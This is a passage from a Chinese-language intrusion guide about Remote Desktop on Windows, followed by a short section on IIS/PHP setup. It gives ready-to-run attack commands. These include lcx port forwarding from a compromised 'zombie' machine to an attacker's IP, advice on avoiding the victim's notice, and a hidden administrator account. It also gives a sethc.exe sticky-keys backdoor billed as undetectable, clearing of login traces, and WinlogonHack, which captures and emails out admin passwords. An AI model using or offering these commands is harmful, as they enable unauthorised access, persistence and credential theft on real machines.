理论上,只要是与网络连接的计算机都是可以互相访问的,但是在实际中,往往由于技术水平等原因很难实现。例如,局域网中的某台计算机仅仅开放了Web服务,该服务只供内网用户使用,外网用户根本无法直接访问。因此,要想让外网用户访问局域网中的系统服务,就必须进行端口映射等操作。端口映射在入侵内网时经常使用,特别是要登录远程终端服务时,使用端口映射非常方便。
lcx.exe是一个端口转发工具,相当于把A机(肉机)上的3389端口转发到具有外网IP地址的B机上,这样,连接B机的3389端口就相当于连接A机的3389端口。lcx程序多用于被控制计算机(肉机)处于内网的情况,被控制计算机可能被植入木马程序,虽然能够进行控制,但还是没有使用远程终端登录本机进行管理方便,因此,在很多情况下,都会想方设法在被控制计算机上开启3389端口,然后通过lcx等程序进行端口转发,进而在本地连接到被控制计算机的远程终端并进行管理和使用。
1.6.1 确定被控制计算机的IP地址
在被控制计算机上开启远程终端,执行“ipconfig/all”命令查看其网络配置情况,如图1-55所示,该计算机的IP地址为192.168.80.129。
图1-55 确定被控制计算机的IP地址
1.6.2 在被控制计算机上执行端口转发命令
在被控制计算机上执行“lcx-slave 218.69.*.* 51 192.168.80.129 3389”,如图1-56所示,执行完毕会给出一些提示,如果显示为“Make a Connection to 218.69.*.*:51”,则表示端口转发正确。
图1-56 在被控制计算机上执行转发命令
说明
lcx一共有3条命令。第一条命令“lcx-lister 51 3389”在具有外网独立IP地址的计算机上执行,表示在本机上监听51端口,该端口主要用于接受被控制计算机3389端口转发过来的数据。第二条命令“lcx-slave 218.69.*.* 51 192.168.80.129 3389”表示将本机IP地址为192.168.80.129的3389端口转发到远程地址为218.69.*.*的51端口。第三条命令表示端口转向。
1.6.3 在本机执行监听命令
在本机打开DOS命令提示符界面,到lcx.exe程序所在路径执行“lcx-lister 51 3389”命令,监听51端口,监听成功后,会显示如图1-57所示的数据。
图1-57 在本机监听51端口
注意
(1)本机监听的端口必须是未使用的端口,可以使用“netstat-an |find "51"”命令查看。如果没有显示结果,则表示51端口可以用来进行监听。
(2)被控制计算机与本机成功建立连接后会不停地显示连接数据,如图1-58所示。如果未出现数据发送和接收的情况,说明连接没有成功建立。
图1-58 成功建立连接
1.6.4 在本机使用远程终端登录
在DOS提示符下输入“mstsc”命令,打开远程终端连接器,然后输入“127.0.0.1”,单击“连接”按钮进行远程终端连接。当出现登录界面后,分别收入用户名和密码,验证通过后,即可远程进入被控制计算机的桌面。如图1-59所示,输入“ipconfig/all”及“net user”命令可以查看网络配置情况及用户信息。
图1-59 远程登录被控制计算机
注意
(1)如果被控制计算机是服务器,则可以直接进行登录;如果被控制计算机使用的是Windows XP操作系统,则最好选择用户不在计算机旁的时间登录,否则容易被用户发现。
(2)不要轻易在被控计算机上建立账号,尤其是使用Windows XP的计算机,因为建立账号后会立即在登录界面中显示。
1.6.5 查看本地连接
在被控计算机上使用“netstat-an”命令查看当前的所有连接,可以看到被控计算机是在与其自身进行远程终端连接,如图1-60所示,而实际的3389端口是与本机的51端口进行连接。
图1-60 查看实际网络连接
通过使用lcx端口转发程序,我们成功地在本机连入被控制计算机的内网,进而可以方便地对该计算机进行远程管理,这在进行内网渗透时尤为有用。lcx有两个命令:一个是在本地端执行的“lcx-listen 51 2008”命令,另一个是在肉机上执行的“lcx-slave监听端口的IP地址监听端口肉机或被控制端内网IP地址3389”命令(默认端口是3389,如果修改了3389端口,则将3389端口换成其修改后的端口即可)。
1.7 远程终端的安装与使用
Windows XP/2000/2003 Server中的Windows Terminal Services(WTS),又称远程终端服务(Remote Terminal Services),俗称3389,是在Windows NT中最先使用的一种终端,在Windows 2000 Professional版本中不可以安装,在Windows 2000 Server或以上版本中才可以安装这个服务,其默认服务端口为3389,在Windows XP系统中称为远程桌面(Remote Desktop)。远程终端服务是Windows 2000 Server中的一项重要服务,主要通过远程桌面连接对服务器进行管理或者运行应用程序,其功能类似于远程管理软件。由于远程终端服务使用简单、方便,不产生交互式登录,而且可以在后台操作,因此在各行各业都有大量的应用,深受用户喜爱。
远程终端服务在很多大型系统中使用得越来越广泛。正是由于远程终端服务在Windows Server 2000及Windows 2003 Server中的开启非常简单和方便,一般情况下不需要重新安装,只需要运行几行DOS命令即可开启,且使用终端不受IP地址的限制,只要拥有用户账号及其对应的用户口令就可以正常登录,因此,对Windows XP/2000/2003 Server来讲,远程使用终端服务开启了方便之门,也开启了网络安全的安全隐患之门。而且,目前有针对Windows XP/2000/2003 Server及以上版本的远程终端服务攻击软件,一旦攻击成功,将给运行重要程序的服务器带来不可估量的经济损失。
下面对远程终端服务及相关安全技术进行分析。
1.7.1 Windows 2000 Server开启远程终端
在Windows 2000 Server中有许多开启远程终端服务方法,归纳起来,对于远程终端的开启主要通过以下步骤进行。
01 查看“Terminal Services”是否开启。可以通过服务器中的“服务管理”或DOS命令“net start”查看。如果在服务管理器中,“Terminal Services”的状态为“启动”,则表示“Terminal Services”开启成功。如果在DOS环境下运行“net start”命令,在结果中出现了“Terminal Services”,则表示开启了远程终端服务。
02 启动Windows Terminal Services服务。
03 使用“远程桌面连接”(RDP)连接远程终端。如果使用RDP连接远程终端成功,则表示远程终端服务开启成功。
1.7.2 Windows XP开启远程终端
Windows XP开启3389端口分为两种情况,一种是管理员为了方便自己,另一种是入侵者获取权限后非法开启3389端口,下面分别进行介绍。
管理员开启,即图形界面开启,操作非常简单,按照下面的步骤即可完成。
01 Windows XP用户开启3389端口
单击“我的电脑”→“属性”→“远程”选项,如图1-61所示,勾选“允许从这台计算机发送远程协助邀请”复选框。
图1-61 开启远程协助
02 查看远程终端端口开放情况
单击“开始”→“运行”选项,输入“cmd”,打开命令提示符窗口,在其中输入“netstat-an| find"3389"”。如果远程终端开启成功,就会显示默认的3389端口正在监听,如图1-62所示。
图1-62 查看远程终端端口监听状态
03 测试连接远程终端
单击“开始”→“运行”选项,输入“mstsc.exe”,打开远程桌面连接客户端,在计算机中输入本机IP地址,接着会出现一个错误提示窗口,如图1-63所示。不要紧张,在Windows XP操作系统中,本机不能自己连接自己的3389端口,但在Windows 2003中就可以连接。这时可以换用虚拟机进行连接,在虚拟机中输入本机的IP地址。
图1-63 远程终端连接错误提示
说明
(1)通过虚拟机进行远程终端连接时必须保证网络是连通的,即本机与客户机(虚拟机)是连通的。
(2)本机防火墙要设置为允许3389端口通过,具体如下。
①单击“开始”→“控制面板”→“Windows防火墙”选项,打开如图1-64所示的对话框。该界面是Windows防火墙的图形操作界面,默认情况下Windows XP开启了防火墙,而且允许有例外(很多程序会自动修改以允许其通过)。
图1-64 Windows XP自带的防火墙
②在“Windows防火墙”窗口中单击“例外”标签,如图1-65所示,该列表中有两种情况,一种是允许通过的程序或服务,另一种是不允许通过的程序或服务。每一个名称前面都有一个单选框,选中表示允许,未选中表示不允许。
图1-65 Windows XP中的例外程序和服务
③在“例外”标签页中单击“添加端口”按钮,如图1-66所示,在“名称”文本框中输入“3389”,在“端口号”文本框中输入“3389”,单击“确定”按钮。
图1-66 允许3389端口通过防火墙
1.7.3 Windows 2003开启远程终端
在Windows 2003中开启远程终端的步骤如下。
01 允许开启远程终端
在Windows 2003中单击“我的电脑”→“属性”→“远程”选项,打开的界面如图1-67所示,在远程桌面中勾选“允许用户远程连接到这台计算机”复选框,允许开启远程终端。
图1-67 允许开启远程终端
02 授权远程桌面用户
单击“选择远程用户”按钮,将弹出如图1-68所示的用户选择界面,单击“添加”按钮,选择一个远程桌面访问用户,在本例中选择的是“asp.net”用户。
图1-68 授权远程桌面用户
03 查看远程终端端口
打开DOS命令提示符窗口,如图1-69所示,用“netstat-an”或“netstat-an| find "3389"”命令查看3389端口的开启情况,如果在列表中显示3389端口已经开放,说明远程终端开启成功。
图1-69 查看远程终端开启端口
04 远程终端登录测试
单击“开始”→“运行”选项,在打开的DOS命令提示符窗口中输入“mstsc”命令,打开远程登录窗口,在其地址栏输入刚才开启了远程终端的计算机的IP地址,单击连接,打开远程桌面登录窗口,输入用户名和密码,登录成功后的桌面如图1-70所示,表明远程终端开启成功。
图1-70 远程终端登录测试
1.7.4 一些常见开启远程终端服务的方法
常见的开启远程终端服务的方法有如下几种。
1.使用rots.vbs脚本
rots.vbs是由网名为“灰色轨迹zzzevazzz”编写的一个VBS脚本。该脚本通过系统自带的cscript.exe应用程序执行,可以开启终端服务及修改终端服务端口,使用格式如下。
cscript.exe rots.vbs ip user userpass port /r 或 cscript.exe rots.vbs ip user
userpass port /fr
2.使用bat命令
通过“记事本”程序建立一个bat文件,在其中分别输入以下内容。
echo [Components] > c:\sql
echo TSEnable = on >>sql
c:\sqlsysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\sql /q
运行该批处理命令后,重新启动计算机,远程终端服务开启成功。该方法不能更改终端服务的端口。
3.将reg文件导入需要开启终端服务的计算机中
该方法主要是修改远程终端服务的端口及其相关设置,通过生成一个以.reg为后缀的文件,将该文件导入需要开启终端服务的计算机中。该方法比较隐蔽,使用服务管理器和“net start”命令均不会发现终端服务已经启动。Reg文件的内容如下。
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache]
"Enabled"="0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"ShutdownWithoutLogon"="0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]
"EnableAdminTSRemote"=dword:00000001
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
"TSEnabled"=dword:00000001
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD]
"Start"=dword:00000002
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService]
"Start"=dword:00000002
[HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle]
"Hotkey"="1"
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\Wds\rdpwd\Tds\tcp]
"PortNumber"=dword:00000D3D
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp]
"PortNumber"=dword:00000D3D
4.使用SQL注入软件启动3389服务
在Domain 3.5及网名为“教主”的网友编写的HDSI2.0 SQL等注入工具均提供了开启3389终端服务的功能。使用该类软件开启3389端口的前提是运行Web服务的服务器必须存在SQL注入漏洞,而且数据库用户的权限较大。在SQL Server 2000中,数据库用户必须为“sa”。
5.使用其他软件开启3389服务
网上其他一些流行软件的开启原理与前面讲解的类似,只是使用了不同的编程语言实现。
1.7.5 开启远程终端控制案例
开启远程终端控制是指在已经取得计算机的一个Shell的前提下,通过执行VBS脚本或者批处理命令来执行。在本案例中,是指在Windows 2000 Server中使用批处理命令开启远程终端。
01 在Shell中执行2000.bat脚本,2000.bat脚本的内容如图1-71所示。可以将该脚本文件复制或者上传到需要开启远程终端服务的计算机中,然后执行该脚本文件即可。
图1-71 2000.bat文件内容
技巧
图1-72 使用计算器来计算端口值
该脚本用于开启4455端口并将其作为远程终端服务端口,在脚本文件中可以根据需要修改其远程终端服务端口,即修改脚本中“PortNumber”后的数值“dword: 00001167”。该值为十六进制,在修改时可以使用系统“附件”中的“计算器”进行计算。
打开“计算器”窗口,在“查看”菜单中选择“科学型”选项,然后单击选中“十进制”单选按钮并输入端口值,再单击选中“十六进制”单选按钮即可,如图1-72所示。用该值覆盖“PortNumber”中的“deword”值,如果计算结果不足8位,则在其前面补“0”。
02 重启计算机。要想在Windows 2000 Server中开启远程终端服务,必须重启计算机。
03 使用远程终端连接器进行连接测试。重启Windows 2000 Server后,需要先查看被开启远程终端服务的计算机的远程终端是否开放。可以使用扫描软件或者SFind等工具查看远程终端端口的开放情况。例如,输入命令“sfind-p 4455 192.168.1.100”查看IP地址为192.168.1.100的计算机的4455端口是否开放,如果开放,则可以使用远程终端连接器进行连接。出现远程终端连接桌面后,输入用户名和密码即可进入远程终端桌面管理界面。
注意
(1)mt.exe也可以很方便地开启Windows 2000 Server的3389终端服务。
(2)Windows 2000 Server开启3389端口后需要重新启动。
(3)笔者曾经在一台计算机上遇到过执行3389端口开启命令后,显示开启成功,但却无法连接3389端口的情况。
1.7.6 命令行开启远程终端
本节介绍两种使用命令行方式开启远程终端的方法。
1.使用注册表命令开启3389端口
直接打开命令提示符,或者在Telnet命令下直接将以下代码粘贴并执行即可。
reg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer" /v fDenyTSConnections /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server"/v fDenyTSConnections /t REG_DWORD /d 0
2.来自国外黑客的开启3389命令
虽然见过很多在Windows XP和Windows 2003下开启3389端口的命令,但下面这个命令是最好用的,不但添加了一个用户,还将该用户添加到远程桌面用户组中,避免了权限限制情况下不能登录的问题。能同时通过命令运行防火墙和通过3389端口——实在是好命令。该命令在Windows 2003下执行效果更佳,在Windows XP下添加用户后容易被用户发现,具体如下。
net user antian365.com antian365 /add
net localgroup Administrators antian365.com /add
net localgroup "Remote Desktop Users" antian365.com /add
attrib +h "%SYSTEMDRIVE%\Documents and Settings\antian365.com" /S /D
echo Y | reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v
fDenyTSConnections /t reg_dword /d 0
echo Y | reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v
AllowTSConnections /t reg_dword /d 1
echo Y | reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\
Winlogon\SpecialAccounts\UserList" /v "antian365.com" /t REG_DWORD /d 00000000 /f
sc config rasman start= auto
sc config remoteaccess start= auto
net start rasman
net start remoteaccess
1.7.7 3389实用技巧
3389端口在渗透中非常重要,下面介绍一些实用技巧。
1.实用技巧之一——修改默认端口
默认状态下,远程桌面使用的端口一般为3389端口,如果不及时将这个端口号码更改,许多别有用心的黑客可能会利用这个端口远程控制和入侵本地工作站,以便窃取保存在本地工作站中的各类隐私信息。目前仍有单独针对远程终端攻击的软件,如果我们设置的密码碰巧在其攻击字典中,那么很不幸,我们的计算机将被攻陷,因此,在系统管理中修改默认端口就非常有必要了。其实,我们只要将默认端口3389修改为其他任意未使用的端口即可。下面介绍两种修改端口的方法。
(1)图形界面修改
首先,以特权身份(管理员)登录本地工作站或者服务器系统,依次单击系统桌面上的“开始”→“运行”命令,在弹出的系统运行框中输入字符串命令“regedit”,单击“确定”按钮,将打开本地工作站的系统注册表编辑界面。
在该编辑界面的左侧显示区域展开注册表分支HKEY_LOCAL_MACHINE,在其后弹出的分支列表中选中SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp子键。在tcp子键所对应的右侧显示区域中,会看到一个名为“PortNumber”的子键,如图1-73所示,这个子键就是用来定义远程桌面端口号码的,默认以十六进制显示为“0X00000D3D”。双击该键值,即可将该子键的值设置成其他端口号。
图1-73 通过注册表查看端口信息
如图1-74所示,在“数值数据”文本框中可以任意输入一个未使用的端口号,一般设置大端口号即可,如“8888”。
图1-74 修改端口号
完成数值修改操作后,定位于注册表分支HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Control\Terminal Server\WinStations\RDP-Tcp,在RDP-Tcp子键所对应的右侧显示区域中,同样会看到一个名为“PortNumber”的子键,该子键的数值也要一并加以修改。例如,这里要将其数值改成“8888”。
到这里,3389端口的修改就完成了。此时,使用远程终端的命令格式变为“server port:8888”。例如,IP地址为192.168.1.8的远程终端的使用方法为“192.168.1.8:8888”,即在远程终端连接的地址中输入“192.168.1.8:8888”进行连接。
(2)使用批处理命令修改终端端口
使用批处理命令修改默认端口,需要事先计算远程终端端口号的十六进制值。例如,我们将端口号修改成“8888”,其对应的十六进制值为“0X22B8”。使用下面的命令即可完成端口号的修改,将3389端口修改为8888端口。
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server\Wds\rdpwd\Tds\tcp" /v PortNumber /t REG_DWORD /d 0X22B8 /f
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0X22B8 /f
2.实用技巧之二——查询端口
查询端口的操作方式主要有通过查询注册表和采用下面介绍的两种查询终端查询(适用于Windows XP专业版、Windows 2000服务器版与Windows 2003操作系统)。
(1)通过查询注册表查询
运行如下命令查询端口信息,查询结果如图1-75所示。
图1-75 通过查询注册表获取3389端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\
WinStations\RDP-Tcp /v PortNumber
查询结果为“PortNumber REG_DWORD 0xd3d”,端口值为16进制编码,“0xd3d”表示端口号为3389,将这个值复制到科学计算器中进行十六进制和十进制之间的换算即可。
如图1-76所示,0xd3d=13×16×16+3×16+13×1=3389。
图1-76 通过计算器查看端口的具体值
还可以通过以下命令查看3389的更多详细信息,显示结果如图1-77所示。
图1-77 使用命令查看3389端口的更多详细信息
regedit /e tsp.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
server\ Wds\rdpwd\Tds\tcp"
type tsp.reg
(2)通过VBS脚本命令查询
使用VBS脚本命令查询时,一般也使用批处理来执行,但要注意在有些情况下系统禁止执行VBS脚本(删除Windows Script Host组件)。其代码如下,执行效果如图1-78所示。
图1-78 使用VBS脚本查询3389端口
Echo Dim ReadComputerName >>port.vbs
Echo Set ReadComputerName=WScript.CreateObject("WScript.Shell") >>port.vbs
Echo Dim TSName,TSRegPath >>port.vbs
Echo TSRegPath="HKLM\System\CurrentControlSet\Control\Terminal Server\
WinStations\RDP-Tcp\PortNumber" >>port.vbs
Echo TSName=ReadComputerName.RegRead(TSRegPath) >>port.vbs
Echo WScript.Echo("TermService port is:"^&TSName) >>port.vbs
Cscript port.vbs
以上内容所对应的VBS脚本如下。
Dim ReadComputerName
Set ReadComputerName=WScript.CreateObject("WScript.Shell")
Dim TSName,TSRegPath
TSRegPath="HKLM\System\CurrentControlSet\Control\Terminal
Server\WinStations\RDP-Tcp\PortNumber"
TSName=ReadComputerName.RegRead(TSRegPath)
WScript.Echo("TermService port is:"&TSName)
将以上代码保存为ports.vbs文件,在DOS命令提示符窗口或Telnet窗口执行“Cscript port.vbs”命令即可。
3.实用技巧之三——控制终端用户的操作界面
根据笔者的经验,在众多的远程控制、远程管理软件中,微软的终端服务是速度最快的。不过,终端服务也有一个很不人性化的地方,就是在默认情况下,我们是看不到终端用户的操作界面的,这在某些场合很不方便。例如,我们在进行远程操作的同时也会想让对方看到我们的操作界面,但在终端服务环境下对方却看不到。其实,我们可以通过一些手段让对方看到我们的远程操作。
01 用户A登录远程终端服务器,然后进入进入命令行窗口。
02 用户A获取当前运行的会话ID。运行“query session”命令,如图1-79所示,找出用户A会话的会话ID。这里是1,当前会话前有一个“>”标志,Console会话表示控制台。
图1-79 获取当前登录ID
03 运行“shadow会话ID”命令,由于用户A的会话ID是1,如果要与用户B进行远程控制,命令就是“shadow 2”,如图1-80所示,会给出一段提示,说明已经冻结用户A当前的连接。记住:不能自己和自己shadow。
图1-80 与用户B进行远程控制协商
04 此时,用户B的终端服务界面上会出现一个远程控制请求对话框,如图1-81所示。如果用户B同意该请求,就可以远程控制和查看用户A的会话了。此时,用户A仍能随意进行操作。如图1-82所示,用户A在远程终端的所有操作,都会在用户B的远程终端上显示。如果要退出,执行“Logoff”命令即可。
图1-81 同意远程控制会话请求
图1-82 用户A与用户B操作同步
4.实用技巧之四——远程关闭终端服务器
远程关闭终端服务器,可能大家通常会直接使用“开始”菜单中的关机功能,但这种方式在关机时不会向终端用户发送消息。所以,我们可以使用“tsshutdn”命令远程关闭终端服务器。例如,要想在15秒内关闭终端服务器,可以直接使用下面的命令。
Tsshutdn 15 /powerdown
要想取消关机,只要按下“Ctrl+C”组合键即可。
5.实用技巧之五——查看所有终端服务客户端运行的程序
有些时候,服务器管理员可能想了解现在到底有多少用户在登录终端服务器,以及这些用户到底正在运行什么程序,这时可以使用Query系列命令,包括“query process”、“query session”、“query user”,分别用于查看进程、会话和用户。要想向客户端发送消息,可以使用msg命令。
6.实用技巧之六——重启计算机
在远程终端上执行“iisreset/reboot/timeout:00”命令后,系统会自动重启,这在入侵过程中非常好用,在韩文、阿拉伯文等不熟悉的文字环境下执行该命令不会因误操作将计算机关闭。
7.实用技巧之七——灵活应用快捷键
熟练运用远程终端的快捷键,不但能够显示高超的基本功,还能在实际应用过程发挥作用。时间就是金钱,在数秒内就解决一切问题,是一种境界和修养。下面列出远程终端的一些快捷键。
• CTRL+ALT+END:调出“任务管理器”窗口和打开“Windows锁定”对话框。
• CTRL+ALT+BREAK:切换全屏显示,在窗口和全屏显示之间切换客户端。
• ALT+PAGE UP:从左向右在程序之间切换。
• ALT+PAGE DOWN:从右向左在程序之间切换。
• ALT+INSERT:按启动顺序来回切换程序。
• ALT+HOME:显示“开始”菜单。
• ALT+DELETE:显示窗口的弹出式菜单。
• CTRL+ALT+减号(-):将客户端活动窗口的快照放在“终端”服务器的剪贴板上(与在本地计算机上按下“ALT+PrintScrn”快捷键的作用相同)。
• CTRL+ALT+加号(+):将整个客户端窗口区域的快照放在“终端”服务器的剪贴板上(与在本地计算机上按下“PrintScrn”键的作用相同)。
8.实用技巧之八——限制指定用户登录终端
为了保证服务器的安全,没有必要允许所有用户登录服务器,因此,我们可以指定一个可以登录的管理员账号,这就是限制指定用户登录远程终端,通俗地讲,就是将允许登录的用户加入远程桌面登录用户组。具体操作方法如下。
依次单击“管理工具”→“终端服务配置”→“连接”选项,打开“RDP-Tcp属性”对话框,找到“权限”选项卡,删除Administrators组,然后添加我们允许登录的用户,其他用户一律不允许登录,如图1-83所示。这就是在很多情况下,即使提权成功并添加自己为管理员用户,输入了正确的密码,也无法访问3389端口的原因。
图1-83 设置远程桌面管理权限
9.实用技巧之九——我的3389我做主
终端服务默认没有日志记录,需要手动设置。远程终端启用日志审核后就能够了解3389端口的相关信息,如谁登录的、什么时候登录的、什么时候注销的。具体开启方法如下。
依次单击“管理工具”→“终端服务配置”→“连接”选项,打开“RDP-Tcp属性”对话框,找到“权限”选项卡,单击“高级”按钮,进入“RDP-Tcp的高级安全设置”对话框,单击“审核”选项卡,然后单击“添加”按钮,在选择用户和组中依次单击“高级”→“立即查找”选项,在搜索结果中找到“everyone”用户并将其添加审核项目中,如图1-84所示,选择需要记录的事件。
图1-84 配置远程终端日志审核
一般情况下需要审核以下几个事件。
• 登录成功失败
• 连接成功
• 注销成功
• 断开成功
10.实用技巧之十——记录登录3389端口的IP地址和时间
关于这个技巧,笔者最早是在虚拟机上看到的。在一些大型虚拟机上登录系统时,会突然显示一个DOS窗口,又突然消失,通过分析,知道这是管理员在记录登录操作系统的用户,具体操作步骤如下。
01 创建记录3389登录时间的批处理文件和日志文件
• 3389.bat:用户登录时运行的脚本文件。
• 3389log.txt:记录登录3389端口的IP地址和时间的TXT文件。
3389.bat批处理脚本文件的内容如下。
date /t >>3389log.txt
time /t >>3389log.txt
netstat -n -p tcp | find ":3389">>3389log.txt
start Explorer
第一行和第二行代码用于记录用户登录的时间。第三行代码用于记录终端用户的IP地址:“netstat”用于显示当前网络连接状况;“-n”用于显示IP地址和端口;“-p tcp”用于显示TCP协议;管道符号“|”用于将“netstat”命令的结果输出给“find”命令,再从输出结果中查找包含“3389”的行,然后把这个结果重定向到日志文件3389log.txt中。最后一行代码是启动Explorer的命令。
02 配置“终端服务器配置”
进入系统管理工具的“终端服务器配置”界面,打开“RDP-Tcp属性”对话框,切换到“环境”选项卡,单击选中“用户登录时启用下列程序”单选按钮,在“程序路径和文件名”文本框中填写“c:\rdp\3389.bat”,并在“起始于”文本框中填写“c:\rdp”,如图1-85所示。
图1-85 配置“终端服务器配置”
需要特别注意的是,这两个选项一定要配置正确,因为3389.bat文件位于C盘的“rdp”文件夹下,而“起始于”文本框中填写的是3389.bat前面的路径,如果配置错误,将出现3389登录错误,导致用户无法正常登录3389端口。一个好的解决方法是登录3389端口进行配置,但不退出,然后在本地另起一个3389登录,进行测试。网上还流传着其他类似的脚本,其原理大同小异,主要是加载脚本的位置不同。
11.实用技巧之十一——清除3389端口的登录记录
输入如下系统命令。
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client" /f
取消Windows XP和Windows 2003的系统防火墙对终端服务3389端口及IP连接的限制,命令如下。
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\
FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d
3389:TCP:*:Enabled:@xpsp2res.dll,-22009 /f
12.实用技巧之十二——去掉限制登录
当终端数超出最大连接数时,可以使用下面的命令进行连接。
mstsc /v:ip:3389 /console
13.实用技巧之十三——永不查杀的3389后门
永不查杀的3389后门的原理就是对Shift后门的利用,连按5次“Shift”键即可直接进入服务器。将以下代码复制到服务器中,通过DOS命令提示符窗口执行即可。
@echo off
copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
attrib c:\windows\system32\sethc.exe +h
attrib c:\windows\system32\dllcache\sethc.exe +h
echo. & pause
Exit
14.实用技巧之十四——使用WinlogonHack记录3389端口的登录密码
WinlogonHack的原理很简单,就是记录管理员的登录密码,即当有3389端口登录时,自动加载DLL并且记录登录密码,并将其保存为boot.dat文件。新的版本已经可以将记录的密码发送到指定邮箱,只要服务器连接网络,肉机就永远不会丢失。
1.8 Windows下PHP+MySQL+IIS安全试验平台的搭建
随着网络营销的普及和流行,通过网络给企业带来的效益和利润让越来越多的人意识到,除了传统的销售和宣传模式,如何利用网络资源为企业带来利润已经成为企业急需解决的问题,为此,很多企业和个人都架设了属于自己的服务器。现在的服务器市场分成几个体系,第一个是Windows平台,第二个是Linux平台,剩下的主要以BSD平台为主。
先介绍一下各种平台的优点和缺点。
Windows平台的优点是搭建比较容易,可维护性高,通过短时间的培训就能很好地搭建自己所需的各种服务;缺点是安全漏洞比较多,如果是没有任何安全意识的管理员来维护服务器,很快就可能被入侵,而且服务器的稳定性实在不敢恭维。
Linux和BSD平台的优点是权限划分细致,服务器的稳定性众所周知的,所以,很多大型企业首选Linux和BSD平台;缺点是维护难度比较大,不适合中小型公司,因为培训一个全能的Linux和BSD系统管理员需要花费大量的金钱和时间。
本节的内容可以帮助一些管理员把Windows平台的WWW服务配置成高安全性的服务器。
1.8.1 安装IIS
IIS的安装步骤如下。
01 安装IIS
当我们完成了系统的安装以后,可能默认没有安装IIS,所以需要进行安装。把系统光盘放入光驱,然后依次单击“开始”→“所有程序”→“管理工具”→“管理您的服务器”选项。
02 添加角色
在“管理您的服务器”窗口有“添加和删除角色”、“管理文件服务器”和“添加共享的文件夹”3个主要功能模块,如图1-86所示。单击“添加和删除角色”按钮即可配置和管理服务器。
图1-86 使用添加和删除角色功能管理服务器
03 配置服务器角色
在弹出的对话框中单击“下一步”按钮,配置向导开始查找本机中一些已经安装的环境。在这里可以配置文件服务器、打印服务器、应用服务器、邮件服务器、终端服务器、VPN服务器、DHCP服务器、流式媒体服务器及WINS服务器,总之,Windows 2003 Server在管理方面有比Windows 2000 Server有很大的提高,配置更加简单。在图1-87中可以看到哪些服务器已经被配置。
图1-87 配置服务器角色
04 配置应用服务器
选择应用程序服务器(IIS,ASP.NET),然后单击“下一步”按钮,将出现如图1-88所示的界面,其中有2个复选框。第一个复选框是“FrontPage Server Extension”,一般不使用,出于安全原因建议不要选择它。第二个复选框是“启用ASP.NET”,用于开启和关闭ASP.NET,如果是ASP.NET程序,就需要勾选“开启ASP.NET”复选框。然后,一路单击“下一步”按钮进行安装,安装的速度很快。安装完成以后,就可以运行IIS了。依次单击“开始”→“所有程序”→“管理工具”选项,可以看到在管理工具中多了一个“IIS服务器管理器”选项,这说明之前的安装成功了。如果没有该选项,请重复上面的步骤继续安装或者重新安装。
图1-88 服务器启用ASP.NET支持
1.8.2 下载最新的MySQL和PHP并安装
下面我们一起了解一下MySQL和PHP的下载与安装。
1.下载MySQL
我们从www.mysql.org下载最新的6.0.8版本。MySQL的下载地址是http://dev.mysql.com/get/Downloads/MySQL-6.0/mysql-6.0.8-alpha-win32.zip/from/http://mysql.ntu.edu.tw/。
2.下载PHP
如果本地没有安装PHP,可以到PHP的下载地址去下载:http://cn2.php.net/get/php-5.2.8-win32.zip/from/cn.php.net/mirror。
我们为什么要下载新版本呢?因为新版本的软件,黑客的研究相对比较少,算是比较安全的。安装的过程很简单,直接按照默认的设置安装即可。在这里把PHP安装到D:\php目录下,后面会详细讲解MySQL的配置。
1.8.3 PHP的基本准备工作
本节介绍运行PHP的基本准备工作。
1.选择配置php.ini文件
PHP安装完成后(其实就是将压缩包解压缩,也有类似微软的MSI那种一步一步安装的,但笔者没有尝试过),我们首先来到PHP的安装目录下,在这里可以看到2个php.ini的文件,即php.ini-dist和php.ini-recommended。最好选择php.ini-recommended,因为这是经过PHP官方优化的文件。我们把这个文件改名改成php.ini,然后把它复制到C:\windows目录下。
2.将libmysql.dll库文件复制到系统中
将libmysql.dll库文件复制到系统目录里是为了让PHP程序和MySQL数据库连接。如果使用的不是MySQL数据库,就不用复制了。在这里,把D:\php目录下的libmysql.dll库文件复制到C: \ windows\system32目录下。
3.配置php.ini文件
进入C:\windows目录,找到php.ini文件。我们需要编辑几个参数,使PHP能找到需要的组件,如MySQL库、GD库的支持等。
01 修改extension_dir参数
如图1-89所示,我们首先找到“extension_dir="./"”语句,把它修改成“extension_dir="D:/php/ext"”。在这里,必须要修改成自己的配置环境,否则不会成功。
图1-89 修改extension_dir参数
02 加载需要使用的模块
